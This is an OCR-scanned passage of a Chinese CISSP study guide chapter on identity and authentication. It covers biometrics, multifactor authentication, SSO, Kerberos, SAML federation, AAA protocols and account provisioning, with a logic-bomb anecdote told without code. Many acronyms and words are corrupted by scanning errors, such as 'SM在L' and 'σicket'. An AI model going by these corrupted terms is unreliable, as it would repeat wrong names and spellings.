许多生物识别设备都能够灵敏地加 以调整。 当生物识别设备过于灵敏时， 类型 l 错误(错误拒绝)
会更加常见。 当 生物识别设备不够敏感时 ， 类型 2 错误(误报)会更加常见。
可 以通过交叉错误率(Crossover Error Rate， CER)比较生物识别设备的整体质量 ， 交叉错误率也
被称为相等错误率问ual Error Rate， ERR)。 图 1 3. 1 显示了 当一台设备设置为不同灵敏度水平时，
FRR 和 FAR 的百分比。 FRR 和 FAR 比例相等的点是 CER， CER 作为标准的评估值来比较不同 的
生物识别设备的精度 。 低 CER 的设备比高 CER 的设备更准确 。
%
敏感性
图 1 3.1 CER 点 的 FRR和F，忧 错误率
没必要将操作设备的灵敏度设置在 CER 的水平， 并且这也经常是不可取的。 例如， 组织可能会
使用面部识别系统允许或拒绝访问某个安全区域， 因为他们想确保未经授权的人不能访问。 在这种
情况下 ， 组织将灵敏度设置得非常高， 所以类型 2 错误(误收)就很少有机会发生。 这可能会导致更
多误拒 ， 但是在这个场景中误拒 比误收更容易接受。
2. 生物识别注册
有一些因素会使生物识别设备变得不太有效和不可接受 ， 这些因素包括登记时间、 吞吐能力 以
及认可度。 对于生物识别设备来说， 主体只有被登记或注册， 设备才能作为身份标识或身份认证机
制使用 。 在注册过程中 ， 主体的生物识别因素必须被采样井存储在设备的数据库中 。 被存储的生物
识别因 素的来样被称为基准轮廓(reference profile)或基准模板(reference templat巳)。
扫描和存储生物识别因素所需的时间在很大程度上依赖于使用 的物理或性能特征。 利用生物识
别机制进行登记的时间越长， 用户就越不愿意接受这种麻烦 。 一般而言， 登记时间超过两分钟是不
可接受的 。 如果使用随时间变化的生物识别特征(如人的语调、 头发或签字模式) ， 就必须定期进行
重新登记。
主体一旦被登记， 系统扫描和处理主体所需的时间就被视为吞吐能力。 生物识别特征越复杂、
第 1 3 章 管理身份与认证
越详细 ， 处理的时间也就越长。 通常 ， 主体接受吞吐能力 的时间为 6 秒钟或更短。
1 3.2.7 多 因素身份认证
多 因素认证是使用两个或多个 因素进行认证。 双因素身份认证需要使用两个不同的因素来提供
身份认证。 例如， 在杂货店用支票付 账时， 通常需要提供驾照( " 你拥有什么 " )和 PIN 码( " 你知道
什么 " )。 类似地， 智能卡通常需要用户插入卡片到读卡器中并且也要输入 PIN 码。 一般情况下， 使
用 不同类型的因素 ， 身份认证就更安全 。
提示 :
多 因素身份认证必须使用 多 种类型或多 个因素， 比如你知道的一些 因素和你持有的一些 因素。
相 比之下 ， 要求用 户输入密码和 PIN 并不能算作 多 因素身4分认证， 因 为 这两种方法都属于一种身份
认证 因 素(你知道的 因 素)。
当使用两个相同 的因素时， 系统的强度并不会超过单独使用其中一个因素的系统的强度。 只 要
攻击能够窃取或获得特定因素的一个实例 ， 那么相同 的攻击就能够窃取或获得恃定因素的所有实例。
例如， 同时使用两个密码并不比只使用一个密码更安全， 这是 由于如果密码破解攻击能够成功破解
一个密码 ， 那么 这种攻击就能够破解两个密码。
相 比下来， 使用两个或多个不同的因素时， 两个或多个不同的攻击类型或攻击方法要想成功，
就必须收集所有相关的身份认证元素。 例如， 如果令牌、 密码和生物识别因素共 同被用于身份认证，
那么只有在偷窃物品、 破解密码与生物识别复制攻击同时成功的情况下才能进入指定系统。
1 3.2.8 设备认证
从历史上看，用户只能通过公司拥有的系统登录网络， 如桌面电脑等。举例来说， 在一个 Wmdows
域中 ， 用户 的计算机要加入这个域， 计算机账户和密码要与用户 的账户和密码相似。 如果计算机没
有加入该域， 或其凭证与域的控制器不同步， 用户将无法用这台 电脑登录。
如今， 越来越多的员工在工作时会携带自 己的设备， 然后将这些设备连接到网络进行工作。 一
些组织接纳这一行为， 但会实施 BYOD 安全策略， 以此作为控制措施。 这些设备没必要加入一个域，
但也有可能对这些设备实行身份识别和认证措施。
一种方法是设备指纹。 用户可以在组织中对 自 己的设备进行注册， 并将这些设备与他们的用户
账户联系起来。 注册期间 ， 设备认证系统会捕获设备特性， 通常还需要让用户用此设备访问一个网
页 。 然后注册系统能通过特征识别出 这些设备， 如操作系统和版本、 Web 浏览器、 浏览器字体、 浏
览器插件、 时区、 数据存储、 屏幕分辨率、 cookie 设置和 HTTP 头 。
当用户从此设备登录时， 身份认证系统能通过注册设备检查该用户的账户 。 然后 ， 它会根据此
注册设备认证用户设备的特征。 尽管这些特性可能会随时间变化， 但时间 己证明这是一种成功的设
备认证方法。 组织通常会使用第三方工具， 比如安全身份认证提供者(IdP)， 进行设备认证。
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1 3.3 实施身份管理
身份管理技术分为两类: 集中式和分散式(或分布式) 。
• 集中式访 问控制意味着所有的授权认证都 由系统内 的单个实体执行。
• 分 散式访 问控制或分布式访问控制意味着授权认证由位于系统中的不同实体执行。
集中式与分散式访问控制具有所有集中 式或分散式系统的优缺点。 集中式访问控制可以由小型
团 队或个人进行管理。 由于所有的更改都在单个位置进行， 因此管理开销较小。 此时， 单个更改就
可 以影响整个系统。
分散式访问控制常常需要几个团 队或多个人参与。 由 于更改必须在许多地方实现， 因此管理开
销较大。 随着访问控制点的增加， 系统的一致性维护工作变得越来越困难。 对任何个人接入控制点
所做的更改， 需要在每个接入点进行多次重复更改。
1 3.3. 1 单点登录
单点登录(Single Sign-On， SSO)是一种集中式访问控制技术， 允许主体只在系统上认证一次并
且可以不用认证身份而访问 多个资源 。 例如， 用户可以在网络上进行一次认证， 然后就可以访问整
个网络资源， 不用被提示进行再次认证 。
SSO 对 用户来说非常方便， 但在安全性上也有所加强。 当用户需要记住多个用户名和密码时，
他们经常会写下来， 最终反而降低了安全性。 如果只有一个密码， 用户是不太可能写下来的 。 SSO
还通过降低主体需要的账户数量 ， 让管理也更加容易 。
SSO 的主要缺点是: 一旦账户被破解， 恶意主体就会拥有不受限制的访问权限。 但是， 大多数
SSO 系 统含有保护用户 凭据的方法。
以 下各节讨论几种常见的 SSO机制。
1 3.3.2 LDAP 和集中式访问控制
单个组织经常使用集中式的访问控制系统。 例如， 目 录服务是一个集中式数据库， 里面包含了
主客体信息。 许多 目 录服务建立在轻量级 目 录访问协议(Lightweight Directory Access Protocol， LDAP)
的基础上。 例如， Microsoft 动 态 目 录域服务就是 以 LDAP 为基础的。
可 以把 LDAP 目 录看作网络服务和资产的电话 目 录。 用户、 客户和流程可以搜索 目 录服务以找
到所需系统或资源的存储地方。 主体在执行查询和查找活动前， 必须认证 目 录服务。 即使在认证后，
目 录服务依据主体权限也只会显示关于主体的某些信息 。
访 问控制系统经常会用到多个域和信任关系。 安全域是主客体的集合 ， 共用一个安全策略， 单
个域可以独立于其他域单独操作。 信任是域和域之间建立的安全桥梁 ， 允许用户从一个域访问另一
个域中 的资源。 信任可 以是一种方式， 也可以是两种方式。
1 3.3.3 LDAP 和 PKI
在整合数字证书以便传输时， 公钥基础设施σ阻)使用 LDAP。 第7章对 P阻 做了 深入介绍， 但
第 1 3 章 管理身份与认证
简而言之， PKI 是一组技术， 在证书的整个生命周期 中实现对数字证书的管理。 很多时候， 客户需
要 向证书授权组织(CA)进行有关证书信息的咨询活动 ， 此时 LDAP 就是用到的协议之一 。
LDAP 和集中式访问控制系统可用 于支持单点登录功能。
1 3.3.4 Kerberos
票证身份认证这种机制采用第三方实体证实身份并提供身份认证。 最常用的， 也是最知名 的票
证系统是 Kerberos。
注意 :
Kerberos 的名 字源 于希腊神话。 一只长有三个头的狗名 为 Kerberos， 它 守护着通往 阴 间 的大门。
这只 长有三个头 的狗脸朝内， 目 的是防止逃跑而非 防止进入。
Kerberos 给用户 的提供是单点登录解决方案以及能够保护登录信息。 现在的 Kerboros 5 版本依
赖的是对称密钥加密(又称密钥式密码)， 使用的是对称加密的高级加密标准(AES)协议。 Kerberos 使
用端对端安全机制保障认证通信的机密性和完整性， 有助于预防窃听和重放攻击。 理解 Kerberos 所
用 的几个不 同 元素很重要:
密钥分发中心 密钥分发中心(Key Distribution Center， KDC)是提供身份认证服务的可信第三
方。 Kerberos 使用对称密钥加密认证需要登录服务器的客户 。 所有客户和服务器都用 KDC 做了注
册 ， 所有网络成员 的密钥都由 KDC 维持 。
Kerberos 身份认证服务器 身份认证服务器托管 KDC 的功能: 票据授予服务σicket-Granting
Service， TGS)和身份认证服务(Authentication Service， AS)。 然而， 可能在另一台服务器上托管票据
授予服务。 身 份认证服务认证或拒绝票据的真实性和及时'性 。 这台服务器通常被称为 KDC。
授予票证 授予票证(Ticket-GrantingTicket， TGT)通过 KDC 提供主体己认证的证明， 并授权请
求访问其他客体的票据。 TGT 己进行加密， 并且包括对称密钥、 过期时 间和用户 的 IP 地址。 主体
在请求访 问 客体的票据时， 会出 示 TGT。
票据 票据是加密的信息， 证明主体己被授权访问某个对象。 票据有时被称为服务票据(Servi臼
Ticket， ST)。 主体请求访问客体的票据， 如果他们已经进行认证， 并被授权访问对象， Kerberos 会
向他们发放一张票据。 Kerberos 票据有特定的寿命和使用参数。 一旦票据到期， 就必须要求客户续
期或申请新票据 以继续与 任何服务器通信 。
Kerberos 需要账户数据库， 这通常包含在 目 录服务中 。 它使用客户 、 网络服务器和 KDC 之间
的票据交换来证明身份并提供身份认证。 这允许客户端从服务器请求资源， 但客户端和服务器都应
该能够确保双方的身份。 这些加密的票据也确保登录凭证、 会话密钥和认证消息不会以明文传输。
Kerberos 登录过程如下 :
(1 ) 用 户 将用户名和密码键入客户端。
(2) 客户端使用 AES 加密用户 名 ， 然后传输至 KDC。
(3) KDC 使用 己有证书 的数据库来认证用户名。
(4) KDC 产生一个同步密钥 ， 用 于客户端和 Kerberos 服务器间的通信。 它加密用户 密码的散列
值 。 KDC 也 生成一个有加密时间戳的授 予票证(TGT)。
(5) KDC 然后传输加密过的 同步密钥和加密过的带有时间戳的 TGT 给客户端 。
(6) 客户端 安装 TGT， 一直使用直至期满。 客户端也使用用户 的散列 解密对称密钥 。
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注意 :
请注意客户 的 密码从来没有在网络上进行传播， 但它 已经过认证。 服务器使用 散列 的用户密码
加密对称密钥 ， 且只 能用散列 的用 户 密码未解密。 只要用 户 输入正确的 密码， 这一步就发挥作用 。
然而， 如果用户输入不正确 的 密码 ， 就失败 了 。
当客户端要访问一个对象时， 如托管在网络上的资源， 它必须通过 Kerberos 服务器请求票据。
下面是这个过程涉及的步骤:
(1) 客户端将其 TGT 发送回 KDC， 同 时请求访 问某个服务器或服务。
(2) KDC 认证 TGT 的有效性并查看其访问控制矩阵， 从而认证用户 是否拥有能够访问所请求
资源的足够权限 。
(3) KDC 生成一个服务票据 ， 然后将它发送至客户端。
(4) 客户端发送票据至服务器或服务主机 。
(5) 服务器或服务主机通过 KDC 认证服务票据的有效性 。
(6) 一旦认证了用户身份与授权， Kerberos 活动就完成了 。 服务器或服务主机随后建立与客户
端的会话 ， 从而开始进行通信或数据传输。
作为一种多用途的身份认证机制， Kerberos 可 以用在本地 L刷、 本地登录、 远程访问 以及客户
端·服务器资源请求中 。 然而， Kerberos 存在单点故障， 也就是 KDC 会出现单点故障。 如果 KDC
被破解， 那么 网络中所有系统的秘密密钥也都会被破解。 此外， 如果 KDC 离线， 那么就无法对主
体进行身 份认证。
它也有严格的时间要求和默认的配置要求， 即所有的系统彼此要在 5 分钟 内 同步时间。 如果一
个系统不同步或时间被改变了 ， 以前发出的TGT 将不再是有效的， 系统将无法接收任何新的票据。
实际上， 客户端将被拒绝访问 任何受保护的网络资源。
1 3.3.5 联合身份管理和 sso
在相当长一段时间 内 ， ss。 在 内部网络上是常见的， 但在互联网上不常见。 然而， 随着基于云
的应用程序的爆发式增长， 用户访问互联网资源渐渐开始需要 sso 解决方案 。 联合身份管理是一种
能够满足这一需求 的 sso 形式。
身份管理是对用户 身份和凭证的管理。 联合身份管理超越了单一的组织。 多个组织可以加入一
个联盟或一个组， 他们同 意通过一个方法共享彼此的身份。 每个组织的用户在各 自 的组织登录一次
且在他们的凭证和联合身份相匹配后， 他们就可以使用这个联合身份来访问这一组中任何其他组织
的资源。
联盟可以由一个大学校园、 多个大学校园、 多个共享资源的组织或者其他可以达成共同联合身
份管理系统的组织内 的多个不相关的网络构成。联盟的成员将组织中的用户身份与联合身份相匹配。
例如， 许多企业在线培训网站使用联合 sso 系统。 当组织与在线培训公司协调员工访问事直时，
他们还需要协调联合访问所需的细节。 一个常见的方法是将用户的内部登录 D 和联合身份进行匹
配。 组织内 的用户使用正常的登录 E 进行登录。 当用户用 Web 浏览器访问培训网站时， 联合身份
管理系统使用他们的登录 D 来检索匹配的联合身份。 如果找到匹配， 用 户就会被授予联合身份被
授予的网页访问权。
管理员在后台管理这些细节， 过耳呈对用户来说通常都是透明的。 用户不需要再次输入他们的凭证。
第 1 3 章 管理身份与认证
如果有多家企业联盟 ， 那么 当他们互相交流时就需要找到一种共同语言 ， 这是一种挑战。 他们
通常会有不同 的操作系统， 但他们仍需拥有共同语言。 为满足这一需要， 这些联合身份系统常常使
用 安全声明标记语言(SM在L)或服务配置标记语言(SPML)。 作为背景， 此处对一些标记语言进行了
简短描述。
超文本标记语言 超文本标记语言阳h皿)普遍用于展示静态网页。 盯ML 源 自标准通用标记
语言(SGt-.在L)和通用标记语言(GML)o HTML 使用标签描述数据的显示方式， 以操控文本的大小和颜
色 。 例如， Hl 后 的标签将文本作为一级标题显示， 可表示为 : <Hl>I Passed The CISSP Exam<lHl>。
可扩展标记语言 可扩展标记语言。αt1L)超越了对数据显示方式的描述， 而实现了对数据本身
的描述。 XML 所包含的标签可以将数据描述为任何所需的样子。 例如， 以下标签识别了作为测验
结果的数据: <Exam Results>Passed</Exam Results>。
多家供应商的数据库可以将数据输入为 XML 格式， 或从 刘1L 格式输出数据， 从而使孙也 成
为用于信息交流的共同语言。 现己创建许多特定模式， 因此这些企业清楚地知道为实现特定 目 的该
用 何种标签。
安全声明标记语言 安全声明标记语言(SM在L)是一种基于泊在L 的语言， 普遍用于联合组织之
间 交换认证和授权(AA)信息， 常为浏览器访问 提供单点登录(SSO)功能 。
服务配置标记语言 服务配置标记语言(SPML)是基于 刘伍 的新框架， 但是出于联合身份单点
登录 目 的 ， 专门设计用于用户信息交换。 SPML 基于 目 录服务标记语言(DSML)， 而 DSt-.在L 能够以
XML 格式显示基于轻量级 目 录访 问 协议(LDAP)的 目 录服务信息 。
访问控制标记语言 访问控制标记语言仅ACt-.在L)用 于在邓伍 格式内定义访问控制策略， 并且
通常实现基于角色的访问控制。 兀气CML 有助于给联盟中的所有成员提供保证， 保证他们向不同角
色授权相 同级别的访问。
提示 :
SMt1L是王联网上流行的 SSO 语言。 XACML 已经成为 流行的软件定义网络应 用 。
1 3.3.6 其他单点登录的例子
美国麻省 理工学院开发的安全认证系统(Kerberos)也许是组织内单点登录最为广泛认可和部署
的形式， 但并不是同类中 的唯一。 在本节中， 我们总结了你也许会遇到的其他单点登录系统。
在登录会话开始时， 脚本访问或登录脚本通过自动化处理发送登录凭证， 从而建立通信连接装
置。 即使环境仍需要单独的身份认证过程来连接每个服务器或资源， 脚本访问 通常也可以模拟单点
登录访问。 单点登录技术不可用时， 脚本在环境中可实现单点登录。 脚本和批处理文件通常包含明
文形式的访 问 凭证 ， 所 以应被存储在受保护的区域内 。
欧洲安全多环境应用 系统(SESAME)是一个基于邀请的认证系统， 它被开发出来是为了解决
Kerberos 的缺点 。 然而， SESM1E并没有解决 Kerberos 的所有问题。 新一代的 Kerberos 和多家供应
商 的实施都绕过了 SESM伍， 最终解决了 Kerberos 最初版本的所有问题。 在安全行业， SESM扭
己不再被认为是一款可行的产品。
KryptoKnight 是 IBM 开发的一个基于邀请的认证系统。 它与 Kerberos 相似， 但是使用对等认证
而非第三方认证。 KryptoKnight 被纳入 NetSP 产品。 SESM伍、 KryptoKnight 和 NetSP 从未盛行，
并且再也不会被广泛使用 。
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CISSP 官方学习 指南(第 7 版)
OAuth(意为公开认证)和 OpenID 是应用于网络单点登录的较新的例子。OAuth 是一个开放标准，
它与 H盯P 协作 ， 允许用户 以单一账户登录。 例如， 用 户可登录他们的谷歌账户 ， 并用 同一账户登
录 Facebook 和 Twitter。 谷歌支持 OAuth 2.0， 而 OAuth 2.0 不 向后兼容 OAuth 1 .00 OAuth 2.0 被编
号为 RFC 67490 OpenID 也是一个开放标准， 但是它由 电脑软件公司 OpenID Foundation 维护， 而非
作 为 IETF 盯C 标准。 OpenID 可与 OAuth 连 同使用 ， 也可单独使用 。
1 3.3.7 证书管理系统
当单点登录不可用时， 证书管理系统为用户 的凭证保存提供存储空间 。 用户可为需要一套不同
凭证的网站和网络资源存储凭证。 证书管理系统确保这些凭证己加密， 从而防止未经授权的访问 。
例如， Windows 系统包含证书管理器工具。 用户将他们的凭证输入证书管理器， 必要时， 操作
系统检索用户 的凭证， 并自动提交。 在网站上应用时， 用户输入URL、 用 户名和密码。 当用户之后
访 问 网站时 ， 证书管理器会 自 动识别URL并提供凭证。
第三方证书管理系统也可用。 例如， KeePass 允许存储凭证， 是一款免费软件。 凭证储存于一
个加密数据库中， 用户可用主密码解锁。 一旦解锁， 用 户可轻松地复制他们的密码， 并粘贴成网站
形式。 它也可用于配置应用程序， 自 动输入凭证到网页形式。 当然， 用一个强大的主密码来保护其
他所有凭证十分重要。
1 3.3.8 整合身份服务
身份服务为识别和认证提供了 额外工具。 其中 一些工具是为那些基于云的应用程序具体设计的，
而其他的工具是第三方身份服务 ， 为组织内 部使用而 设讨 (内部部署)。
身份即服务或身份和访问 即服务(IDaaS)， 是一个第三方服务， 提供身份和访问管理。 IDaaS 为
云有效提供单点登录， 并在内部客户访问那些基于云的软件即服务(SaaS)应用程序时特别有用 。 谷
歌公司 的箴言 " 一个谷歌账户登录所有谷歌产品 " 就是这一技术的体现。 用户 只 需登录他们的谷歌
账户 一次， 就可 以访问谷歌多个基于云的应用程序 ， 不必再次进行登录。
再举一个例子， Office 365 结合安装的应用程序和 SàaS 应用程序来提供办公应用程序。 用户 的
全套办公应用系统都安装在他们的用户系统中， 还可以使用 OneDrive 连接到云存储。 这就使用户 可
以在多个设备上编辑并共享文件。 当人们在家使用 Office 365 时， 微软提供 D嗣S， 使得用户 通过云
在 OneDrive 上对访 问 他们的数据进行认证。
当雇员在企业内 使用 。由ce 365 时， 管理员 可以与第三方服务集成网络。 例如， Cen阳市 提供与
微软活动 目 录集成的第三方 IDaaS 服务。 一旦配置完成， 用户登录到域名 ， 然后不必再次登录就可
以访 问 Office 365 云资源。
1 3.3.9 管理会话
无论使用何种认证系统， 重要的是管理会话， 以防止未经授权的访问。 这包括与应用程序在普
通 电脑(如 台 式电脑)上的会话或网络会话。
台式电脑和笔记本电脑包含屏幕保护程序 。 当开启 的 电脑不被使用时 ， 屏幕保护系统通过展示
随机的图案或不同的照片 ， 或者只是简单的白屏， 来改变电脑显示。 屏幕保护程序保护了较旧 电脑
第 1 3 章 管理身份与认证
的屏幕， 但是新的显示器并不需要这些 。 然而， 屏幕保护程序仍被使用 ， 井有可启用的密保功能。
此功能显示登录屏幕 ， 迫使用户退出屏幕保护程序前再次进行身份认证。
屏幕保护程序有一个可以配置的几分钟时间范围。 通常设置为 10 至 20 分钟之间 。， 如果将其设
置为 10 分钟 ， 屏幕保护程序就会在系统空闲 1 0 分钟后激活。 若系统空闲 1 0 分钟或更长， 就需要用
户 再次登录 。
一段时间后安全网络会话也会终止。 例如， 在网上银行界面建立一个安全会话， 但是在 1 0 分钟
内 没有进行交互操作 ， 该应用程序就会使你掉线 。 在某些情况下 ， 应用程序会提示你即将掉线。 这
些提示通常给你单击网页 的机会， 这样就可以保持在线。 如果开发者不实施这些 自 动掉线功能， 就
会允许用户在登录的情况下保持浏览器会话打开， 甚至在用户没有下线的情况下关闭浏览器标签，
浏览器会话也会暂时保持开启 。 这时 ， 若他人访问 浏览器， 该用户 的账户 就很容易 受到攻击。
1 3.3.10 AAA 协议
提供认证、 授权和可问 贵性的协议叫作 AAA 协议。 它们提供集中式访问控制， 并且附带虚拟
专用 网(VPN)和其他类型的网络访问服务器的远程访问系统。 它们可以保护内 部局域网认证系统和
其他服务器免受远程攻击。 当使用一个单独的系统进行远程访问时， 对系统的成功攻击只会影响远
程访问用户 。 换句话说， 攻击者不会有内 部账户 的访问权限。 为智能手机用户 提供访问的移动 E 也
使用 AAA 协议。
这些 AAA 协议使用 的是本章前面描述的访问控制元素， 包括识别、 认证、 授权和可问贵'性。
它们确保用 户用有效的凭据来进行身份认证， 并根据己证实的身份来认证用户 已被授权连接到远程
访 问服务器 。 此外， 追踪元素可以跟踪用户 的网络资源使用情况， 并达到计费 目 的。 一些常见的 AAA
协议有 RADIUS、 TACACS+以及 Diametero
1. RADIUS
远程认证拨号用户服务器(RADIUS)主要用于远程连接的身份认证。 当组织有不止一台 网络访问
服务器(或远程访问服务器)时， RADIUS 通常会被用到。 用户可以连接到任何一台 网络访问服务器，
服务器会将用户 的凭据传送给 RADIUS 服务器来认证用户 的身份和权限， 并对其进行追踪。 在这种
情况下， 网络访问服务器就相当于 RAD阳S 客户端 ， RADIUS 则作为身份认证服务器。 孔。IUS 服
务器还为多个远程访 问服务器提供 AAA 服务。
许多互联网服务提供商(lSP)使用 RAD町S 进行身份认证。 用户可以在任何地方访 问 ISP， ISP
服务器会将用户 的连接请求发送给 RADIUS 服务器。
组织也可以使用 RAD阳S 协议， 并与回 调安全程序同时执行， 进而实王启挂一步的保护。 用户拨
入， 并在身份认证后， RADIUS 服务器会终止连接， 并对用户预定义的 电话号码发起呼叫。 如果用
户 的凭据被盗用 ， 回调安全程序将会阻止入侵者使用 。
RAD町S 采用用户数据报协议(UDP)， 并只加密交换密码而不会加密整个会话， 但可以使用附
加 协议来对数据会话进行加密。 目 前的 RADIUS 版本是在 盯C 2865 中定义的。
提示 : RADIUS 在网络访问服务器和共享认证服务器之间提供AAA 服务。 网络访问服务器是RADIUS
认证服务器的客户 端 。
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CISSP 官方学 习 指南(第 7 版)
2. TACACS+
终端访问控制器访问控制系统(TACACS)作为 RADIUS 的一种替代系统被引入。 思科后来推出
了扩展 TACACS(XTACACS)， 并将其作为一项专有协议。 然而， TACACS 和 XTACACS 如今都不
常用 。 后来， 又推出 了 TACACS +， 并被作为一个开放的公开记录协议， 成为三个协议中最常用的
一个。
相 比于早期版本和 RADIUS， TACACS叫故了 一些改进。 它将认证、 授权以及可问责'性分为独立
的流程， 并可以在三台独立的服务器上进行托管。 其他版本则是将其中 的两个或三个流程合并为一
个流程。 此外， TACACS+可以加密所有的认证信息， 而不仅仅像 RADIUS 一样只是加密密码。
TACACS 和 XTACACS 使用 的是 UDP 端 口 49， 而 TACACS+使用 的是 TCP 端 口 49， 从而为数据包
的传输提供了更高的可靠性。
3. Diameter
基于 RADIUS 和 TACACS+的成功应用 ， 叉开发出 了 一个名为Diameter 的 RADIUS 的增强版本。
它支持多种协 议， 包括传统 IP、 移动 E和E 语音(VoIP)。 因为支持许多附加的命令， 所以尤其在
支持漫游服务的情况下特别受欢迎， 例如无线设备和智能手机。 虽然 Diameter 是 RADIUS 的升级版
本， 但是其并不兼容 RADIUS。
Diameter 使用的是 TCP 端 口 3868 或 SCTP 端 口 3868， 相 比于 RADIUS 使用的 UDP 端口来说，
提供了 更高的可靠性。 Diameter 也 支持 IPSec 和 TLS 加密。
注意 :
在几何中 ， 圆的半径(RADIUS)是从中心到 边缘的距离 ， 直径(Diameter)是从边缘到边缘的 两倍
半径的距离。 Diameter 这个名称也意味着 Diameter 要比RADIUS 好两倍。 这可能不完全准确 ， 但相
比于巴气DIUS 来说， Diameter 改进了 许多 ， 并且强调 了 Diameter 是后开发出来的 ， 是一种改进后的
协议叫
1 3.4 管理标识和访问开通生命周期
身份信息和访 问开通生命周期是指账户 的创建、 管理和删除。 虽然这些行为看似很平凡， 但对
于系统的访问控制能力来说是非常重要的。 如果没有正确定义和维护用户账户 ， 系统就无法建立准
确的身份信息， 进行身份认证， 提供授权或跟踪问责。 正如前面提到的， 当主体以某身仇世入服务
器时 ， 就会进行身份认证 。 身份通常是用户 账户 ， 但也包括计算机账户和服务账户 。
访问控制管理是才旨在账户 的使用过程中所涉及的任务和职责的集合， 包括管理账户 、 访问和跟
踪问贵。 这些任务包含在身份信息和访问 开通生命周期的三个主要职责中 : 开通、 账户 审核和账户
撤消 。
1 3.4. 1 开通
身份管理的第一步是创建新账户并为其开通相应的权限。 创建新的用户账户通常是一个简单的
过程， 但这一过程必须通过组织的安全策略军自字来保护和保障。 用户 账户 不是因管理员 的一时兴起
第 1 3 章 管理身份与认证
或响应随机请求而创建的。 相反， 合理地开通账户可以确保人员在创建账户时遵循了特定的手里芋。
新用户 账户 的初始创建通常被称为注册或登记。 注册过程创建了一个新的身份， 并建立了系统
需要进行身份认证的因素。 全面准确地完成注册过程是至关重要的 。 个人身份通过组织认为的有必
要的各种方式的认证也同样重要。 在准许注册进入任何一个安全系统前， 照片、 D、 出 生证明、 背
景检查、 信用检查、 安全检查认证、 FBI 数据库搜索甚至通话记录都是认证身份的有效方式。
许多组织都有 自 动的账户开通系统。 例如， 一个人一旦被公司 录用 ， HR 部门完成初步身份鉴
定和处理步骤， 然后会给 IT 部门发送创建账户 的请求。 IT 部门通过一个应用程序输入雇员信息，
比如雇员 的姓名和他们所属的部门 ， 该应用手自字会根据定义好的准则来创建账户 。 自动开通系统创
建的账户都是一致的， 例如， 总是以 同样的方式创建用户名井总是处理重复的用户名。 如果准则规
定 了用户名应该包含姓和名 ， 那么如果有一个全名 叫 Suzie Jones 的雇员 ， 应用手里芋就会为其创建一
个名为 sUZleJones 的用户 账户 。 如果该组织雇用 了 另一个有相同全名 的雇员 ， 第二个用户名可能就
是 suziejones2 。
如果组织使用的是群组(或角色)， 应用程序可以根据用户 的部 门或工作职责 自 动将新的用户账
户 添加到相应的群组。 群组中 早 己有合理的权限分配， 所 以这一步也规定 了 新用 户 的权限。
作为招聘过程的一部分， 新员工要接受组织安全政策和手里字方面的培训 。 在招聘完成之前， 员
工通常需要进行审查， 并签署一项协议， 承诺拥护组织的安全标准。 协议中通常会包括合理的账户
使用策略。
在用户 账户 的整个使用过程中 ， 需要对其进行持续维护 。 有稳定的组织层级、 较低的员 工流动
率和晋升率的企业相比于不稳定的组织层级、 较高的员工流动率和晋升率的企业 ， 对用户账户 的管
理显著较低。 大多数的账户维护工作是处理权限的变更。 应该建立类似于创建新用户 账户 的程序，
来管理用户账户在使用过程中访问权限变更的问题。 未经授权而增加或减少账户 的访问能力， 可能
会造成严重的 安全影响 。
1 3.4.2 账号审核
应定期检查账户 ， 以确保有正在运行的安全策略。 检查内容包括确保不活跃的账户被禁用 以及
员工没有过多 的特权。
许多管理员使用脚本来定期检查不活跃的账户 。 例如 ， 脚本可以定位在过去 30 天没有登录的用
户 账户 ， 并 自动禁用它们 。 同样， 脚本可以检查特权组(如管理员组)的成员 账户 ， 并删除未授权的
账户 。 在审计程序中经常会有正式的账户 评审 。
过渡特权和特权蠕变
需重点、防范访问控制方面的 两个问题: 特权过渡和特权蠕支。 当用户拥有超过其工作任务所需
的特权时 ， 就发生 了 特权过渡。 如果发现某用户账户 拥有过渡特权， 应立即撤回对其来说不必要的
特权。 特权虫在变是指用 户 账户 随工作角 色和工作任务的改变而逐渐积累特权。 之所以会出现这种情
况， 是因 为 向用 户增加了 新的任务和新的特权， 但对用 户 不再需要的特权未做消除。 特权蠕变会导
致特权过渡。
这两种情况都违反了 最小化权限这一基本的安全原则。 权限最小化原则是指仅授予用 户 完成工
作任务和工作职能所需 的权限。 账户 审核能有效地发现这些 问 题。
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CISSP 官方学 习指南(第 7 版)
1 3.4.3 账号撤消
无论员 工出于何种原因(包括员工休假)离开公司 ， 及时禁用他们的用户 账户十分重要。 员 工休
假的情况也要包含在内。 只要有可能， 人事专员应有执行此项任务的能力 ， 因为他们能及时意识到
员工可能会因某种原因 辞职。 举例来说， 人事专员 了解哪些员工即将终止雇佣关系， 他们在员 工离
职面谈时应禁用相关账户 。
如果员工在离职面谈后仍拥有用户账户 的访问权限， 危害会很大。 即使离职员工不会采取恶意
行动， 但如果其他员工发现密码， 也可能会使用该账户 。 这时账户 的使用 日 志会记录离职员工而不
是真正操作者的行为。
在某些情况下 ， 该账户还有其他功用 ， 例如访问加密数据， 此种情况下不应立即注销账户 。 如
果确定账户不再使用 ， 即可注销。 一般情况下 ， 账户禁用 30 天后会自 动注销， 但是这也依公司 需求
而定。
许多系统可以设置账户 的终止期。 这对临时员工和短期员工十分实用 ， 也就是在终止期时自 动
禁用账户 。 例如， 对于一位签订 了 30 天用工合同的临时工来说， 其账户会于 30 天后 自 动禁用 。 这
样就可 以在没有持续行政监督的情况下 ， 也对账户起到相应控制 的作用 。
@ 真实场景
未及时撤回账户访问权限的危害
房利美公司 (通过以 下 实例)意识到在解雇 员 工后 ， 未及时撤回账户访问权限的危害 。 2008 年 1 1
月 24 日 下午 2 点左右， 该公司 解雇 了 一名 Unix 工程师。 该员 工在下午 4点45 分支回 了 工作证， 但
其行政访 问 权限却保留至当 天晚上 10 点 。
在被解雇后 ， 该员 工远程访问 房利美公司 的服务器， 在合法脚本中插入了 恶意仰吗， 并设直其
每天上午 9 点运行。 这段恶意代码是一个逻辑炸弹， 设直的运行时间 是 2009 年 1月3 1 日 ， 此设直
一旦成功运行， 将摧毁房利美公司 多 达 4000 台 服务器的数据， 并且许多 专 家认为 ， 房利美公司 要想
恢复服务器功能， 至 少 需要一用的时间。
万幸的是， 在恶意1-'V马插入一周后 ， 该公司 的另 一名 工程师发现了 这一情况， 因 此没有造成任
何损 失。 但是， 如果人事 专 员在离职面谈时就禁用 其账户 ， 这样的 事件就完全可以避免 。
1 3.5 本章小结
CISSP CBK 的第 5 知识域的 内容是身份与访问管理， 包括允许和限制资产访问 的操作、 管理和
执行等方面。 资产包括信息、 系统、 设备、 设施和人员等。 访问控制将基于主体和客体间 的关系对
访 问权 限进行限制 。 主体是活跃实体(如用户)， 客体是被动实体(如文件)。
